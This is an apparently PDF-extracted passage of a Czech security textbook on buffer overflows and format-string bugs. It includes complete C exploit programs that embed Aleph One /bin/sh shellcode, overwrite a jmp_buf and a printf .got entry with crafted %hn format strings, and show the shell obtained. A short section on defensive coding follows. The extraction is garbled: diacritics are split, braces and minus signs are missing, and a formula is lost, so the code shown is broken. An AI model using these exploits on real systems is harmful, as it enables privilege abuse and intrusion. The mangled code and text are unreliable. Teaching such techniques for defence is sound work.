int main() // velikost pole rodne cislo + 4B na za´pis mimo meze + 1B na ukoncˇenı´ ˇreteˇzce char pole1[12+4+1]; // sem vlozˇ´ıme adresu shellko´du . . 4B + 1B na ukoncˇenı´ ˇreteˇzce char pole2[4+1]; // jme´no programu, jeho dva argumenty a zakoncˇenı´ NULL char *argv[4] = ”./buffer3”, pole1, pole2, NULL ; // prˇidana´ promeˇnna´ prostrˇedı´ se shellko´dem char *env[2] = shellkod, NULL ; // vy´pocˇet adresy shellko´du int adresa = 0xbffffffa strlen(argv[0]) strlen(shellkod); // adresa na ktere´ se nacha´zı´ ukazatel na funkci int ukazatel na fci = 0x8049580;
// cele´ pole1 na nenulovou hodnotu memset(pole1,0x90,17); // prˇepsa´nı´ ukazatele jmeno *(int *)&pole1[12] = ukazatel na fci; // zakoncˇenı´ ˇreteˇzce, aby se fce strcpy() zastavila pole1[16] = 0; // ukazatel na funkci shellko´d *(int *)&pole2[0] = adresa; // zakoncˇenı´ ˇretezce, aby se fce strcpy() zastavila pole2[5] = 0; // spusˇteˇnı´ ./buffer3 se dveˇma argumenty a prˇidanou promeˇnnou prostrˇedı´
execve(argv[0],argv,env);
Obra´zek 7.13: Vyuzˇitı´ chyby v programu buffer3.c
80
20
30
Kompilace a spusˇteˇnı´ $ gcc buffer3.c -o buffer3 $ gcc exploit-buffer3.c -o exploit-buffer3 $ ./exploit-buffer3 sh-2.05b$
7.4.3 Prˇepsa´nı´ struktury jmp buf V praxi se obcˇas setka´me s pozˇadavkem dlouhe´ho nestrukturovane´ho skoku. Funkce setjmp() a longjmp() implementujı´ tuto mozˇnost ve standardizovane´ podobeˇ. Princip je v tom, zˇe funkce setjmp() si prˇi sve´m prvnı´m vola´nı´ ulozˇ´ı obsah neˇktery´ch registru˚. Po vola´nı´ longjmp() jsou do patrˇicˇny´ch registru˚ nastaveny ulozˇene´ hodnoty a ˇr´ızenı´ je prˇeda´no na mı´sto vola´nı´ setjmp(). Typicky se tento mechanizmus pouzˇ´ıva´ jako reakce na chybu s na´vratem do mı´sta, kde program jesteˇ fungoval dobrˇe. Mu˚zˇeme take´ mluvit o mozˇnosti zpracova´nı´ vyjı´mek v jazyce C. Funkce pro dlouhy´ skok bohuzˇel nejsou na seznamu reentantnı´ch funkcı´. Du˚vody lze nale´zt v bezpecˇnostnı´ch proble´mech prˇi dorucˇenı´ signa´lu procesu6 . Reentrantnı´ ko´d lze volat vı´cekra´t, bud’ z jiny´ch vla´ken anebo jako rekurzivnı´ vola´nı´, a sta´le bude fungovat spra´vneˇ. Hodnoty registru˚ a cˇa´st kontextu procesu souvisejı´cı´ se signa´ly jsou ulozˇeny do promeˇnne´ datove´ho typu jmp buf. V hlavicˇkovy´ch souborech standardnı´ knihovny jazyka C nalezneme na´sledujı´cı´ strukturu: #define #define #define #define #define #define
JB JB JB JB JB JB
typedef int
BX SI DI BP SP PC
0 1 2 3 4 5
jmp buf[6];
typedef struct jmp buf jmpbuf; int mask was saved; sigset t saved mask; jmp buf[1];
10
/* Calling environment. */ /* Saved the signal mask? */ /* Saved signal mask. */
Prvnı´ polozˇka je pole jmp buf o sˇesti prvcı´ch. V tomto poli se uchova´va´ hodnota neˇktery´ch registru˚. Pro na´s je nejzajı´maveˇjsˇ´ı polozˇka s cˇ´ıslem JB PC, ve ktere´ je ulozˇena hodnota registru EIP. Pokud by se na´m tuto hodnotu povedlo prˇepsat na adresu shellko´du, po vola´nı´ longjmp() bude shellko´d spusˇteˇn. Vzorovy´ prˇ´ıklad (nekonecˇna´ smycˇka), na ktere´m uka´zˇeme prˇepis struktury jmp buf, je na obra´zku 7.14. Situaci v sekci .bss tohoto prˇ´ıkladu ilustruje obra´zek 7.15. Pole buffer i promeˇnna´ lokace typu jmp buf jsou ulozˇeny v sekci .bss, kam kompila´tor gcc umı´st’uje globa´lnı´ neeniciovane´ promeˇne´. Pole buffer je na nizˇsˇ´ı adrese v pameˇti nezˇ promeˇnna´ lokace. 6
http://www.opengroup.org/onlinepubs/007904975/functions/sigaction.html
81
/* buffer4.c */ #include stdio.h #include setjmp.h
char buffer[16]; jmp buf lokace; int main(int argc, char **argv) setjmp(lokace); strcpy(buffer,argv[1]); longjmp(lokace,1);
10
Obra´zek 7.14: Ko´d umozˇnˇujı´cı´ prˇetecˇenı´ za´sobnı´ku III Za´pisem mimo meze pole bufferu dosa´hneme prˇepsa´nı´ hodnot v promeˇnne´ lokace. Do zdrojove´ho textu buffer4.c doplnı´me ˇra´dky, pomocı´ ktery´ch vypocˇ´ıta´me potrˇebnou velikost prˇetecˇenı´.
__mask... jmp_buf
__jmpbuf
0x8049700
Vyšší adresy
24B
JB_PC JB_SP JB_BP JB_DI JB_SI JB_BX
32B buffer
16B
0x80496e0
sekce .bss
Obra´zek 7.15: Situace v sekci .bss u programu buffer4.c Dopsane´ rˇa´dky printf(”Adresa bufferu: %p n”,&buffer); printf(”Adresa jmpbuf: %p n”,&lokaceKompilace a spusˇteˇnı´ $ gcc buffer4-edited.c -o buffer4-edited $ ./buffer4-edited argument Adresa bufferu: 0x80496e0 Adresa jmpbuf: 0x8049700
jmpbuf);
Rozdı´l adresy 0x80496e0 a 0x8049700 je 0x20B, tedy 32B desı´tkoveˇ. Vidı´me, zˇe kompila´tor neumı´stil promeˇnne´ teˇsneˇ vedle sebe. Na umı´steˇnı´ promeˇnny´ch teˇsneˇ za sebou se mu˚zˇeme spolehnout 82
pouze u loka´lnı´ch promeˇnny´ch funkce na za´sobnı´ku. Platı´ to ovsˇem pouze pro promeˇnne´ v ra´mci jedne´ funkce. Pole jmpbuf ma´ velikost 24B (6 prvku˚ typu int po 4B). Polozˇka JB PC je azˇ na poslednı´m mı´steˇ, potrˇebuje tedy prˇepsat cely´ch 24B tohoto pole. Du˚lezˇite´ je vsˇimnout si, zˇe prˇed polozˇkou JB PC prˇepisujeme polozˇky JB SP a JB BP. Ty odpovı´dajı´ registru˚m ESP a EBP. Kdyzˇ prˇi vola´nı´ longjmp() docha´zı´ k postupne´mu obnovenı´ pu˚vodnı´ho stavu procesu, musı´ by´t v teˇchto polozˇka´ch hodnoty, ktere´ odpovı´dajı´ oblasti za´sobnı´ku. Naprˇ. hodnota 0xbfbfbfbf je uspokojiva´. V prˇedchozı´m prˇ´ıkladeˇ byly adresy zı´skane´ z editovane´ho programu sˇpatneˇ pouzˇitelne´. Nynı´ na´m vsˇak nejde o zˇa´dnou konkre´tnı´ adresu. Zjisˇt’ujeme pouze vzda´lenost dvou promeˇnny´ch v ra´mci jedne´ sekce programu. Komplikace nevznika´. /* exploit-buffer4.c */ #include unistd.h #include string.h
// genericky´ shellko´d typu Aleph One char shellkod[ ] = ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46” ”\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x31” ”\xc0\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”; 10
int main() // pole pro prˇesa´nı´ a jeden znak na ukoncˇenı´ ˇreteˇzce char pole[32+24+1]; // jme´no spousˇteˇne´ho programu, jeden argument, zakoncˇujı´cı´ NULL char *argv[3] = ”./buffer4”, pole, NULL ; // prˇidana´ promeˇnna´ prostrˇedı´ se shellko´dem char *env[2] = shellkod, NULL ; // adresa umı´steˇnı´ shellko´du int adresa = 0xbffffffa strlen(argv[0]) strlen(shellkod);
20
// cele´ pole na nenulovou hodnotu, kvu˚li polozˇka´m JB SP a JB BP // pouzˇijeme konkre´tneˇ hodnotu 0xbf memset(pole,0xbf,32+24+1); // prˇepis polozˇky JP PC aby ukazovala na shellko´d *(int *)&pole[52] = adresa; // zakoncˇenı´ ˇreteˇzce pole[56] = 0; // spusˇteˇnı´ programu s jednı´m argumentem a prˇidanou promeˇnnou prostrˇedı´ execve(argv[0],argv,env);
30
Obra´zek 7.16: Vyuzˇitı´ chyby v programu buffer4.c Kompilace a spusˇteˇnı´ $ gcc buffer4.c -o buffer4 $ gcc exploit-buffer4.c -o exploit-buffer4 $ ./exploit-buffer4 sh-2.05b$ 83
Kapitola 8
Chyby prˇi forma´tova´nı´ rˇeteˇzce 8.1 U´vod Standardnı´ knihovna jazyka C disponuje funkcemi pro forma´tova´nı´ ˇreteˇzce prˇed tiskem. Nejzna´meˇjsˇ´ı takovou funkcı´ je printf(). Existuje vı´ce funkcı´, ktere´ jsou obdobne´ funkci printf(). Mluvı´me o funkcı´ch z rodiny *printf(). V druhe´ polovineˇ roku 2000 se povedlo nale´zt postupy, ktere´ prˇi sˇpatneˇ forma´tovane´m ˇreteˇzci mohou by´t stejneˇ nebezpecˇne´ jako za´pisy mimo meze – buffer overflow. Funkce printf() ma´ promeˇnny´ pocˇet parametru˚, pouze prvnı´ je povinny´ a oznacˇujeme jej jako forma´tovacı´ rˇeteˇzec. Znaky, ktere´ se v neˇm nacha´zejı´, jsou postupneˇ prˇeda´va´ny na standardnı´ vy´stup. Jedinou vy´jı´mkou jsou forma´tovacı´ sekvence, ktere´ zacˇ´ınajı´ znakem %. Znaky na´sledujı´cı´ za symbolem procenta prˇedstavujı´ forma´tovacı´ znaky. Funkce printf() prˇi nalezenı´ forma´tovacı´ch sekvencı´ vybı´ra´ postupneˇ sve´ argumenty, provede konverzi urcˇenou forma´tovacı´ sekvencı´ a vy´sledek posˇle na standardnı´ vy´stup. Seznam vsˇech mozˇny´ch forma´tovacı´ch sekvencı´ je mozˇne´ zı´skat v manua´love´ stra´nce funkce printf(). Uka´zkovy´ prˇ´ıklad forma´tovane´ho ˇreteˇzce je uveden na obra´zku 8.1 /* string1.c */ #include stdio.h
int main(int argc, char **argv) int a=1, b=2; printf(”A: %d, B: %d\n”,a,b); return 0;
10
Obra´zek 8.1: Uka´zkove´ forma´tova´nı´ ˇreteˇzce
84
Kdyby programa´tor opomneˇl udat trˇetı´ parametr – promeˇnnou b, funkce printf() to nijak nepozna´ 1 . Prˇi spusˇteˇnı´ by ze za´sobnı´ku vybrala hodnotu z mı´sta, kde ocˇeka´va´ trˇetı´ parametr. Podı´vejme, co se mu˚zˇe sta´t v prˇ´ıpadeˇ programu podle obra´zku 8.2. Funkce printf() nepouzˇila forma´tovacı´ ˇreteˇzec ”%s” pro tisk prvnı´ho argumentu programu. Programa´tor zadal pouze adresu ˇreteˇzce v domneˇnı´, zˇe uzˇivatele nenapadne do argumentu programu vkla´dat forma´tovacı´ sekvence. /* string2.c */ #include stdio.h
int main(int argc, char **argv) int i=10; printf(argv[1]); return 0;
Obra´zek 8.2: Program s chybny´m forma´tova´nı´m ˇreteˇzce Kompilace a spusˇteˇnı´ $ gcc string2.c -o string2 $ ./string2 ”arg1: %x, arg2: %x” arg1: bffffa48, arg2: 80483d9 $ Prˇedany´m argumentem s forma´tovacı´mi sekvencemi jsme doka´zali zı´skat cˇa´st dat ze za´sobnı´ku. Mu˚zˇeme ˇr´ıci, zˇe jsme provedli prˇ´ıstup k prvnı´mu a druhe´mu imagina´rnı´mu argumentu funkce printf(). Forma´tovacı´ sekvence umozˇnˇujı´ i prˇ´ımy´ prˇ´ıstup k N-te´mu argumentu za´pisem N$. V uvedene´m prˇ´ıkladeˇ naprˇ. mu˚zˇe chtı´t pouze tisk hodnoty druhe´ho imagina´rnı´ho argumentu. Forma´tovacı´ ˇreteˇzec bude vypadat takto: ”arg2: %2$x”.
8.2 Za´pis do pameˇti Mezi mnoha forma´tovacı´mi znaky, ktere´ jsou urcˇeny pro tisk obsahu promeˇnny´ch, existuje take´ jeden, ktery´ dovoluje na adresu promeˇnne´ zapisovat. Forma´tovacı´ sekvence %n zapı´sˇe na zadanou adresu pocˇet doposud vytisˇteˇny´ch znaku˚ (pocˇet doposud vytisˇteˇny´ch znaku˚ je ulozˇen ve vnitrˇnı´m cˇ´ıtacˇi funkce printf()). V na´sledujı´cı´m fragmentu programu promeˇnna´ pocet bude obsahovat hodnotu 4. int pocet; printf(”Ahoj%n svete”,&pocet); Forma´tovacı´ sekvence je mozˇne´ rozsˇ´ıˇrit o urcˇenı´ pocˇtu tisˇteˇny´ch cifer cˇ´ısla. Podı´vejme se na na´sledujı´cı´ prˇ´ıklad. 1
Kompila´tor gcc s parametrem -Wall ovsˇem vypı´sˇe varovne´ hla´sˇenı´
85
Fragment programu a spusˇteˇnı´ int cislo = 123; char buffer[4]; snprintf(buffer,4,”%.5d”,cislo); printf(”%s”,buffer); $ gcc priklad.c -o priklad && ./priklad 001 Zı´skany´ vy´stup nevypada´ podle ocˇeka´vanı´. Promeˇnnou cislo jsme chteˇli tisknout v sˇ´ıˇrce peˇti cifer (”%.5d”). Vzniknul vy´stup ve tvaru 00123 (ve funkci snprintf() se vytvorˇilo pole o de´lce 5+1B). Da´le probeˇhlo zkopı´rova´nı´ prvnı´ch cˇtyrˇ znaku˚ do pole buffer. Funkce snprinf() zakoncˇila ˇreteˇzec nahrazenı´m cˇtvrte´ho znaku cˇ´ıslem 0. Zı´skany´ vy´stup je spra´vny´. Kdybychom pouzˇili forma´tovacı´ sekvenci %n pro zjisˇteˇnı´ pocˇtu vytisˇteˇny´ch znaku˚, zı´ska´me hodnotu 5, cozˇ odpovı´da´ pozˇadovane´mu pocˇtu cifer ve forma´tovacı´ sekvenci. Mu˚zˇeme ucˇinit za´veˇr, zˇe uvedenı´m pocˇtu tisˇteˇny´ch cifer promeˇnne´ doka´zˇeme vnitrˇnı´ cˇ´ıtacˇ nastavit na libovolnou hodnotu.
8.3 Vyuzˇitı´ chyby forma´tovacı´ho rˇeteˇzce Vyuzˇitı´ chyby forma´tovacı´ho ˇreteˇzce mu˚zˇeme stejneˇ jako za´pis mimo meze rozdeˇlit na dveˇ skupiny. Forma´tovacı´ sekvence %n prova´dı´ za´pis na zadanou adresu. V prˇ´ıpadeˇ, zˇe doka´zˇeme adresu do pameˇti vlozˇit, hovorˇ´ıme o vyuzˇitı´ chyby forma´tovacı´ho ˇreteˇzce se zada´nı´m cı´love´ adresy. V opacˇne´m prˇ´ıpadeˇ se musı´me omezit na nalezenı´ vhodne´ adresy v pameˇti a hovorˇ´ıme o vyuzˇitı´ chyby forma´tovacı´ho ˇreteˇzce bez zada´nı´ cı´love´ adresy.
8.3.1 Bez zada´nı´ cı´love´ adresy V tomto prˇ´ıpadeˇ je program napsa´n takovy´m zpu˚sobem, zˇe nedoka´zˇeme do pameˇti umı´stit adresu mı´sta, kam chceme prove´st za´pis. Musı´me se spolehnout pouze na existujı´cı´ adresy v pameˇti. Prˇ´ıklad je uveden na obra´zku 8.3. Tato situace je pouze ilustrativnı´, protozˇe neza´visle na programu, je vzˇdy mozˇne´ vlozˇit adresu pomocı´ promeˇnny´ch prostrˇedı´. Rozhodneme se zmeˇnit hodnotu promeˇnne´ a. Vı´me, zˇe v pameˇti se nacha´zı´ ukazatel na promeˇnnou a. V mı´steˇ vola´nı´ funkce printf() mu˚zˇeme vsˇechny hodnoty, ktere´ se nacha´zejı´ na za´sobnı´ku, povazˇovat za jejı´ imagina´rnı´ argumenty. Nejdrˇ´ıve musı´me zjistit, kolika´ty´ imagina´rnı´ argument odpovı´da´ ukazateli na promeˇnnou a. Nejsnazsˇ´ı metoda je pouzˇitı´ skriptu, ktery´ vyzkousˇ´ı urcˇity´ rozsah. Take´ je mozˇne´ program disassemblovat a urcˇit potrˇebny´ posun.
86
/* string3.c */ #include stdio.h
int main(int argc, char **argv) int a=0, b=0; int *p a=&a, *p b=&b; printf(”A: %d, B: %d\n”,a,b); printf(argv[1]); printf(”\n”); printf(”A: %d, B: %d\n”,a,b); return 0;
10
Obra´zek 8.3: Vyuzˇitı´ chyby forma´tovacı´ho ˇreteˇzce I Kompilace a spusˇteˇnı´ $ gcc string3.c -o string3 $ ./string3 %7 $x A: 0, B: 0 bffffa68 A: 0, B: 0 $ ./string3 %8 $x A: 0, B: 0 0 A: 0, B: 0 Sedmy´ imagina´rnı´ argument odpovı´da´ ukazateli na promeˇnnou a. Osmy´ imagina´rnı´ argument odpovı´da´ promeˇnne´ b. Provedeme-li pomocı´ %n za´pis na adresu danou sedmy´m imagina´rnı´m argumentem, dosa´hneme zmeˇny hodnoty promeˇnne´ a. Prˇed znak $ nesmı´me opomenout vlozˇit zpeˇtne´ lomı´tko, aby jej shell neinterpretoval jako specia´lnı´ znak. Data na za´sobnı´ku, ktera´ odpovı´dajı´ prvnı´mu azˇ pa´te´mu imagina´rnı´mu argumentu, jsou bezvy´znamna´ vy´plnˇ zpu˚sobena´ neoptima´lnı´ kompilacı´.
a b &a &b
&argv[1]
funkce main()
8 7 6 5 4 3 2 1
imaginární argumenty funkce printf()
první a jediný argument funkce printf()
Obra´zek 8.4: Situace na za´sobnı´ku prˇ´ıkladu string3.c Kompila´tor gcc prˇi alokaci mı´sta pro loka´lnı´ promeˇnne´ na za´sobnı´ku by´va´ sˇteˇdry´. Du˚vodem 87
pravdeˇpodobneˇ bude rychlost kompilace. Nepocˇ´ıta´ se velikost skutecˇneˇ potrˇebne´ho mı´sta, ale pouzˇijı´ se sˇablony. Obdobna´ situace nasta´va´ i prˇi ukla´da´na´ parametru˚ funkcı´ na za´sobnı´k. Kompila´tor nepocˇ´ıta´, kolik promeˇny´ch je po ukocˇenı´ funkce ze za´sobnı´ku potrˇeba uklidit. Mı´sto toho na za´sobnı´ku alokuje neˇjake´ mı´sto navı´c a u´klid promeˇnny´ch se opeˇt mu˚zˇe dı´t pomocı´ sˇablon. $ ./string3 AAAAAA%7 $n A: 0, B: 0 AAAAAA A: 6, B: 0
8.3.2 Se zada´nı´m cı´love´ adresy Doka´zˇeme-li v programu najı´t chybu forma´tovacı´ho ˇreteˇzce spolu s ulozˇenı´m adresy, zı´ska´va´me stejne´ mozˇnosti jako u neprˇ´ıme´ho za´pisu mimo meze. Doka´zˇeme zapsat libovolnou hodnotu na adresy v cele´m virtua´lnı´m adresnı´m prostoru procesu. Vsˇe si uka´zˇeme na prˇ´ıkladu podle obra´zku 8.5. Cı´lem bude spusˇteˇnı´ shellko´du pomocı´ prˇepsa´nı´ ukazatele na funkci printf() v sekci .got. /* string4.c */ #include stdio.h
int main(int argc, char **argv) char buffer[256]; snprintf(buffer,sizeof(buffer),argv[1]); printf(”%s\n”,buffer); return 0;
10
Obra´zek 8.5: Vyuzˇitı´ chyby forma´tovacı´ho ˇreteˇzce II Mysˇlenka vyuzˇitı´ chyby forma´tovacı´ho ˇreteˇzce je na´sledujı´cı´: Prvnı´ argument programu je pomocı´ funkce snprintf() zapsa´n do pole buffer. Mu˚zˇeme tedy prove´st za´pis urcˇite´ hodnoty. Hodnotou necht’ je adresa ukazatele na funkci printf() v sekci .got procesu. Jakmile bude v bufferu ulozˇena pozˇadovana´ adresa, mu˚zˇeme pomocı´ forma´tovacı´ sekvence %n prove´st za´pis. Nejdrˇ´ıve musı´me urcˇit, kolika´te´mu imagina´rnı´mu argumentu funkce snprintf() odpovı´da´ pocˇa´tek pole buffer. V disassembleru zjistı´me, zˇe prˇed ukla´da´nı´m argumentu˚ funkce snprintf() je vrchol za´sobnı´ku situova´n na offsetu -268B oproti registru EBP. Zacˇa´tek pole buffer ma´ offset -256B. Rozdı´l cˇinnı´ 12B, tedy 3 slova o velikosti 32b. Pocˇa´tek pole buffer bude odpovı´dat cˇtvrte´mu imagina´rnı´mu parametru funkce snprintf(). Situace na za´sobnı´ku je zna´zorneˇna na obra´zku 8.6. Prˇesveˇdcˇ´ıme se, zˇe pocˇa´tek pole buffer opravdu odpovı´da´ cˇtvrte´mu imagina´rnı´mu argumentu.
88
uložené EIP uložené EBP 0(EBP) −4(EBP) buffer[256]
−256(EBP) −260(EBP) −264(EBP) −268(EBP)
imaginární 4 argumenty 3 funkce 2 snprintf()
1 &argv[1] 256 &buffer
parametry funkce snprintf()
Obra´zek 8.6: Situace na za´sobnı´ku programu string4.c Kompilace a spusˇteˇnı´ $ gcc string4.c -o string4 $ ./string4 AAAA%4 $x AAAA41414141 Na´sˇ vy´pocˇet byl spra´vny´. Podı´vejme se prˇesneˇji na situaci, ktera´ nastala. Funkci snprintf() jsme prˇedali forma´tovacı´ ˇreteˇzec ve tvaru AAAA%4$x. Nejprve dosˇlo k ulozˇenı´ cˇtyrˇ pı´smen A do pole buffer, pote´ si forma´tovacı´ sekvece vyzˇa´dala vybra´nı´ cˇtvrte´ho argumentu a jeho konverzi do sˇestna´ckove´ soustavy. Cˇtvrty´ argument odpovı´da´ pameˇt’ove´ pozici, kde se ulozˇila cˇtyrˇi A. Pı´smeno A ma´ v sˇestna´ckove´ soustaveˇ hodnotu 0x41. Celkoveˇ takto vznikl v poli buffer ˇreteˇzec AAAA41414141, ktery´ jsme zı´skali na vy´stupu. V sekci .got zjistı´me adresu, na ktere´ se nacha´zı´ ukazatel na funkci printf(). Prˇ´ıkaz objdump -R string4. OFFSET 080495d0 080495bc 080495c0 080495c4 080495c8 080495cc
TYPE R 386 GLOB DAT R 386 JUMP SLOT R 386 JUMP SLOT R 386 JUMP SLOT R 386 JUMP SLOT R 386 JUMP SLOT
VALUE gmon start register frame info deregister frame info libc start main printf snprintf
Z tabulky vidı´me, zˇe hledana´ adresa je 0x80495c8. Pro zada´nı´ cˇ´ısla ve spra´vne´m tvaru pouzˇijeme vy´stupu standardnı´ho programu printf. Za´pis adresy ukazatele na funkci printf() $ ./string4 $(printf ” xc8 x95 x04 x08”) Cˇ ASCII hodnota cˇ´ısla 0xc8 odpovı´da´ pı´smenu Cˇ . Ostatnı´ hodnoty neodpovı´dajı´ tisknutelny´m zna89
ku˚m, proto nenı´ videˇt dalsˇ´ı vy´stup. Nynı´ je cˇas spocˇ´ıtat adresu, na ktere´ bude v pameˇti ulozˇen shellko´d. Pouzˇijeme stejnou metodu vlozˇenı´ shellko´du do oblasti promeˇnny´ch prostrˇedı´ jako v prˇedcha´zejı´cı´ kapitole. Vy´pocˇet adresy probeˇhne podle vzorce ! ! . Prˇi pouzˇitı´ genericke ´ ho shellko´du typu Aleph One, ktery´ jsme vytvorˇili v kapitole 6, zı´ska´me vy´sledek 0xbfffffc4. Cˇ´ıslo 0xbfffffc4 odpovı´da´ cˇ´ıslu v desı´tkove´ soustaveˇ.
Na´sˇ forma´tovacı´ ˇreteˇzec by mohl vypadat xc8 x95 x04 x04%.3221225408%4$n. Cˇ ´ıslo jsme zmensˇili o , protozˇe vnitrˇnı´ cˇ´ıtacˇ vytisˇteˇny´ch znaku˚ se o se zvy´sˇ´ı v du˚sleku tisku 4B adresy. Vyzkousˇenı´ forma´tovacı´ho ˇreteˇzce povede k neu´speˇchu. Du˚vodem je skutecˇnost, zˇe zˇa´da´me funkci snprintf(), aby si pro vnitrˇnı´ potrˇebu vytvorˇila pole o velikosti prˇes 3GB. Musı´me se uchy´lit k male´mu triku. Forma´tovacı´ sekvence %n ocˇeka´va´ ukazatel na typ int. Modifika´torem h lze prove´st zmeˇnu. Forma´tovacı´ sekvence %hn ocˇeka´va´ ukazatel na na typ short int. To znamena´, zˇe na zadanou adresu provede za´pis pouze 2B mı´sto 4B. Za´pis hodnoty 0xbfffffc4 na adresu 0x80495c8 mu˚zˇeme rozdeˇlit na dva kroky:
Na adresu 0x80495c8 zapı´sˇeme hodnotu 0xffc4. Na adresu 0x80495ca zapı´sˇeme hodnotu 0xbfff.
Protozˇe cˇ´ıtacˇ vytisˇteˇny´ch znaku˚ se mu˚zˇe pouze zveˇtsˇovat, musı´me postupovat tak, zˇe nejprve provedeme za´pis mensˇ´ıho z obou cˇ´ısel. V nasˇem prˇ´ıpadeˇ je mensˇ´ı cˇ´ıslo 0xbfff. Pro zapsa´nı´ druhe´ho cˇ´ısla musı´me do forma´tovacı´ho ˇreteˇzce dosadit hodnotu zı´skanou rozdı´lem 0xffc4 - 0xbfff. Protozˇe na´sˇ forma´tovacı´ ˇreteˇzec bude zacˇ´ınat tiskem dvou 4B adres, musı´me prvnı´ cˇ´ıslo zmensˇit o 8. Obecneˇ forma´tovacı´ ˇreteˇzec bude vypadat takto (offset + 0,1 uda´va´ vztazˇenı´ k prvnı´ nebo druhe´ ulozˇene´ adrese):
[adresa][adresa+2]%.[mensˇ´ı cˇ´ıslo - 8]x%[offset+ 0,1 ] $hn%.[veˇtsˇ´ı cˇ´ıslo - mensˇ´ı cˇ´ıslo]x%[offset+ 0,1 ] $hn
Konkre´tneˇ dostaneme: xc8 x95 x04 x08 xca x95 x04 x08%.49143x%5$hn%.16325x%4$hn kde:
xc8 x95 x04 x08 odpovı´da´ zapsa´nı´ adresy 0x80495c8 xca x95 x04 x08 odpovı´da´ zapsa´nı´ adresy 0x80495ca (= 0x80495c8+2) %.49143x odpovı´da´ nastavenı´ vnitrˇnı´ho cˇ´ıtacˇe na hodnotu 49151 (= 8+49143) (= 0xbfff) %5$hn odpovı´da´ provedenı´ za´pisu cˇ´ısla 0xbfff na adresu 0x80495ca (adresa je ulozˇena jako 5ty´ imagina´rnı´ argument funkce snprintf() %.16325x odpovı´da´ nastavenı´ vnitrˇnı´ho cˇ´ıtacˇe na hodnotu 65476 (= 8+49143+16325) (= 0xffc4)
90
%4$hn odpovı´da´ provedenı´ za´pisu cˇ´ısla 0xffc4 na adresu 0x80495c8 (adresa je ulozˇena jako 4ty´ imagina´rnı´ argument funkce snprintf()
Cely´ program, ktery´ provede na za´kladeˇ vyuzˇitı´ chyby forma´tovacı´ho ˇreteˇzce spusˇteˇnı´ shellko´du je na obra´zku 8.7. Pouzˇity´ shellko´d je z kapitoly 6, strana 45. /* exploit-string4.c */ #include stdio.h #include string.h #include unistd.h
// genericky´ shellko´d typu Aleph One char shellkod[ ] = ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46” ”\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x31” ”\xc0\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”;
10
int main() // dostatecˇneˇ velke´ pole pro forma´tovacı´ ˇreteˇzec char pole[128]; // jme´no programu, jeden argument, ukoncˇujı´cı´ NULL char *argv[3] = ”./string4”, pole, NULL ; // zarˇadı´me shellko´d jako poslednı´ promeˇnnou prostrˇedı´ char *env[2] = shellkod, NULL ; // vy´pocˇet adresy pocˇa´tku shellko´du int adresa = 0xbffffffa strlen(argv[0]) strlen(shellkod);
20
printf(”Shellkod: %x\n”,adresa); // zkopı´rova´nı´ forma´tovacı´ho ˇretezce do pole, ktere´ tvorˇ´ı argument programu strcpy(pole,”\xc8\x95\x04\x08” ”\xca\x95\x04\x08” ”%.49143x%5$hn%.16325x%4$hn”); // spusˇteˇnı´ programu s jednı´m argumentem a prˇidanou promeˇnnou prostrˇedı´ execve(argv[0],argv,env);
Obra´zek 8.7: Vyuzˇitı´ chyby v programu string4.c Mozˇnosti vyuzˇitı´ chyb forma´tovacı´ho ˇreteˇzce jsou shodne´ se za´pisem mimo meze. Tedy velmi za´sadnı´. Nasˇteˇstı´ lze tyto chyby ve zdrojovy´ch textech pomeˇrneˇ snadno lokalizovat pomocı´ staticke´ detekce. Stacˇ´ı projı´t vsˇechny funkce, ktere´ pouzˇ´ıvajı´ forma´tovacı´ rˇeteˇzec a prˇesveˇdcˇit se, zˇe forma´tovacı´ ˇreteˇzec je zadany´.
91
Kapitola 9
Detekce chyb a obrana V kapitole 7 a 8 byly rozepsa´ny du˚sledky za´pisu mimo meze a sˇpatne´ho pouzˇitı´ forma´tovacı´ho ˇreteˇzce. Tato kapitola se bude veˇnovat minimalizaci vzniku teˇchto chyb a omezenı´m jejich zneuzˇitelnosti. Postup je trˇ´ıstupnˇovy´: 1. Pecˇliveˇ naprogramovany´ program s osˇetrˇenı´m vsˇech vstupu˚ od uzˇivatele. Nepouzˇ´ıva´nı´ nevhodny´ch knihovnı´ch funkcı´. 2. Staticka´ kontrola zdrojove´ho ko´du detekcˇnı´mi na´stroji. 3. Omezene´ prostrˇedı´ procesu s minimalizacı´ du˚sledku˚ chyb. Dynamicka´ kontrola beˇhu programu.
9.1 Vylepsˇenı´ programa´torske´ho stylu Zdrojem mnoha programa´torsky´ch chyb je sˇpatna´ znalost knihovnı´ch funkcı´. Programa´torˇi znajı´ obecne´ pouzˇitı´ knihovnı´ch funkcı´, ma´lo jsou vsˇak obezna´meni s jejich chova´nı´m v krajnı´ch situacı´ch. Prˇ´ıkladem mu˚zˇe by´t funkce strncpy(). Funkce kopı´ruje zadany´ pocˇet bytu˚ ˇreteˇzce z jednoho mı´sta do druhe´ho. Podle prˇedpokladu sice automaticky cı´lovy´ ˇreteˇzec zakoncˇuje nulovy´m bytem, provede to ovsˇem pouze v prˇ´ıpadeˇ, zˇe se nulovy´ byte vejde do zadane´ho pocˇtu kopı´rovany´ch bytu˚. Oproti tomu naprˇ. funkce snprintf() zakoncˇenı´ nulovy´m bytem provede vzˇdy. Dalsˇ´ı neprˇ´ıjemnostı´ je, zˇe chova´nı´ stejny´ch funkcı´ se v krajnı´ch prˇ´ıpadech lisˇ´ı v za´vislosti na implementaci. Naprˇ. funkce snprintf() v implemetaci firmy Microsoft nemusı´ vzˇdy prove´st zakoncˇenı´ ˇreteˇzce nulovy´m bytem. Protozˇe funkcı´ a implementacı´ je mnoho, nenı´ mozˇne´ udeˇlat prˇehledovou tabulku s popisem chova´nı´. Mı´sto toho postacˇ´ı 3 za´kladnı´ pravidla: 1. Vzˇdy pouzˇ´ıva´me funkce, ktere´ umozˇnˇujı´ omezit kopı´rovany´ pocˇet bytu˚. Poslednı´ byte u ˇreteˇzcu˚ 92
vzˇdy explicitneˇ zakoncˇujeme nulovy´m bytem. Prˇ´ıklad 1 strcpy(dest,src); strncpy(dest,src,SIZE); dest[SIZE-1]=0;
